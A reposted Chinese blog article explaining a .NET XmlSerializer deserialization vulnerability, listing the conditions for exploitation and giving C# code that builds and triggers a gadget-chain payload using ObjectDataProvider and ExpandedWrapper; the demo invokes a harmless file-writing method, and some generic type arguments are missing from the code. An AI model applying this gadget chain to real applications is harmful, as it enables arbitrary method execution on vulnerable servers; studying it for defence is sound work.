博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
.Net反序列化漏洞之XmlSerializer
阅读量:6220 次
发布时间:2019-06-21

本文共 1338 字,大约阅读时间需要 4 分钟。

条件:

  1. 初始化对象时,类型可控:new XmlSerializer(type可控)
  2. 反序列化对象时,输入内容可控:serializer.Deserialize(fi可控)

两个关键类:ObjectDataProvider, ExpandedWrapper

//PresentationFramework.dll  v4.0.0.0System.Windows.Data.ObjectDataProvider//System.Data.Services.dll   v4.0.0.0System.Data.Services.Internal.ExpandedWrapper

Payload生成:

public static void serializeObjectWithXmlSer()        {            ExpandedWrapper
eobj = new ExpandedWrapper
(); XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper
)); eobj.ProjectedProperty0 = new ObjectDataProvider(); eobj.ProjectedProperty0.ObjectInstance = new Class2(); eobj.ProjectedProperty0.MethodName = "writeFile"; eobj.ProjectedProperty0.MethodParameters.Add("xxxxx"); eobj.ProjectedProperty0.MethodParameters.Add("ser.txt"); TextWriter fo = new StreamWriter("d:/tmp/xmlser.txt"); serializer.Serialize(fo, eobj); fo.Close(); }

触发Payload:

public static void deserializeObjectWithXmlSer()        {            XmlSerializer ser = new XmlSerializer(typeof(ExpandedWrapper
)); TextReader fi = new StreamReader("d:/tmp/xmlser.txt"); ser.Deserialize(fi); fi.Close(); }

转载于:https://blog.51cto.com/duallay/2045651

你可能感兴趣的文章
SpringMVC常见面试题总结【概念】
查看>>
zookeeper使用和原理探究(一)
查看>>
OSChina 周五乱弹 —— 为什么程序媛那么少?
查看>>
OSChina 周二乱弹 —— 我有垃圾,你有桶么
查看>>
前端那些事之工具涵数库--underscore
查看>>
shell script advanced
查看>>
ubuntu12.04 software-center 的一个BUG
查看>>
ORACLE双机系统日志清理脚本
查看>>
VM虚拟机:从小白一步一步安装linux centos6.5虚拟机
查看>>
Maven创建web工程报错
查看>>
[Android 之美] 那些你不知道的APK 瘦身,让你的APK更小
查看>>
Android Arcface 2.0人脸识别注册失败问题
查看>>
MySql ZIP 包 安装 的详细步骤以及可能的错误
查看>>
ROW_NUMBER() OVER函数的基本用法
查看>>
Hadoop LineRecordReader实现分析
查看>>
Android利用Fiddler进行网络数据抓包
查看>>
我的友情链接
查看>>
百度8秒君:文件存网盘真的靠谱么?
查看>>
TCP/IP参考模型
查看>>
linux基础_根文件系统
查看>>